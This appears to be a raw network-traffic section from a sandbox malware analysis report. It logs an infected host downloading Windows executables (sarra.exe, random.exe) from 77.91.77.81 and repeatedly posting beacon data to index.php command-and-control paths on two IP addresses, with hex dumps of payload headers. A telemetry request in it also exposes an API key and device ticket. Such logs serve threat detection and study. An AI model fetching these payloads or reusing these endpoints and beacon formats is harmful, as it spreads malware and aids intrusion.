Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 20 Jun 2024 13:38:13 GMTContent-Type: application/octet-streamContent-Length: 2471424Last-Modified: Thu, 20 Jun 2024 10:14:41 GMTConnection: keep-aliveETag: "66740111-25b600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 6a 99 1d e4 2e f8 73 b7 2e f8 73 b7 2e f8 73 b7 65 80 70 b6 25 f8 73 b7 65 80 76 b6 ee f8 73 b7 65 80 74 b6 2f f8 73 b7 ec 79 8e b7 2a f8 73 b7 ec 79 77 b6 3d f8 73 b7 ec 79 70 b6 34 f8 73 b7 ec 79 76 b6 75 f8 73 b7 65 80 77 b6 36 f8 73 b7 65 80 75 b6 2f f8 73 b7 65 80 72 b6 35 f8 73 b7 2e f8 72 b7 0e f9 73 b7 dd 7a 7a b6 32 f8 73 b7 dd 7a 8c b7 2f f8 73 b7 2e f8 e4 b7 2f f8 73 b7 dd 7a 71 b6 2f f8 73 b7 52 69 63 68 2e f8 73 b7 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 14 69 4c 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 27 00 bc 15 00 00 7c 03 00 00 00 00 00 00 50 60 00 00 10 00 00 00 d0 15 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 60 00 00 04 00 00 82 69 26 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5e c0 18 00 72 00 00 00 00 a0 18 00 38 16 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3e 60 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 3d 60 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 9c 36 18 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 18 00 00 10 00 00 00 b4 0a 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 38 16 00 00 00 a0 18 00 00 18 00 00 00 c4 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 c0 18 00 00 02 00 00 00 dc 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 c0 2c 00 00 d0 18 00 00 02 00 00 00 de 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6c 70 72 62 6c 63 66 63 00 b0 1a 00 00 90 45 00 00 b0 1a 00 00 e0 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6e 6a 6b 78 77 6b 79 71 00 10 00 00 00 40 60 00 00 04 00 00 00 90 25 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 50 60 00 00 22 00 00 00 94 25 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 20 Jun 2024 13:38:17 GMTContent-Type: application/octet-streamContent-Length: 2400256Last-Modified: Thu, 20 Jun 2024 10:16:33 GMTConnection: keep-aliveETag: "66740181-24a000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 f7 00 74 66 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 1c 08 00 00 00 00 00 00 10 56 00 00 10 00 00 00 c0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 40 56 00 00 04 00 00 36 17 25 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4b b0 11 00 5f 00 00 00 00 40 0d 00 7c 61 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 97 55 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 68 97 55 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 30 0d 00 00 10 00 00 00 38 06 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 7c 61 04 00 00 40 0d 00 00 60 04 00 00 48 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 11 00 00 02 00 00 00 a8 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 70 2a 00 00 c0 11 00 00 02 00 00 00 aa 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 73 63 73 6e 64 79 75 75 00 d0 19 00 00 30 3c 00 00 ce 19 00 00 ac 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 69 6a 67 6c 69 6a 68 64 00 10 00 00 00 00 56 00 00 04 00 00 00 7a 24 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 10 56 00 00 22 00 00 00 7e 24 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: ipinfo.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /OneCollector/1.0/ HTTP/1.1Accept: /APIKey: cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521AuthMsaDeviceTicket: t=GwAWAbuEBAAU2qcZHJoKGNizGOeyqM4OaIoSZ0MOZgAAENhIsZk1icdmK4NNtUk6KLPgAMvy17Udgd1MlHE7GXRAxu9wDd84HaOk1nGIMKru6radFnZDfu7zWhcmz9j72MdI/lM5JykN5JyMCsrKKjhnWsxMrSmUTHFAm4lCtsR/4kXJ5OVGBubVm1qKlLaqfTPe4/QIS6EsPZhp2A+GbXPmd9v7KWe0y9ZBVkGnVgT2XAL69MHD65Z2sZ/bvdyK2Z9GRgl5dhajOwb9unLzQz2LihgZzhVMiIEIlP0Ox0qtNEB072yB6rGFSpbQMfXp3Qm9wrLMHPG0cNIMKQ3+lgA3sY/VTGnPGJVnsHSsfW8D9dyBIAE=&p=Client-Id: NO_AUTHContent-Encoding: deflateContent-Type: application/bond-compact-binaryExpect: 100-continueSDK-Version: EVT-Windows-C++-No-3.4.15.1Upload-Time: 1718890987142Host: self.events.data.microsoft.comContent-Length: 7972Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: GET /cost/sarra.exe HTTP/1.1Host: 77.91.77.81
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 30 31 34 30 33 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000014031&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /soka/random.exe HTTP/1.1Host: 77.91.77.81
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 30 31 35 30 30 32 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000015002&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /cost/random.exe HTTP/1.1Host: 77.91.77.81
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 30 31 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000016001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 77.91.77.81
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 30 31 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000017001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
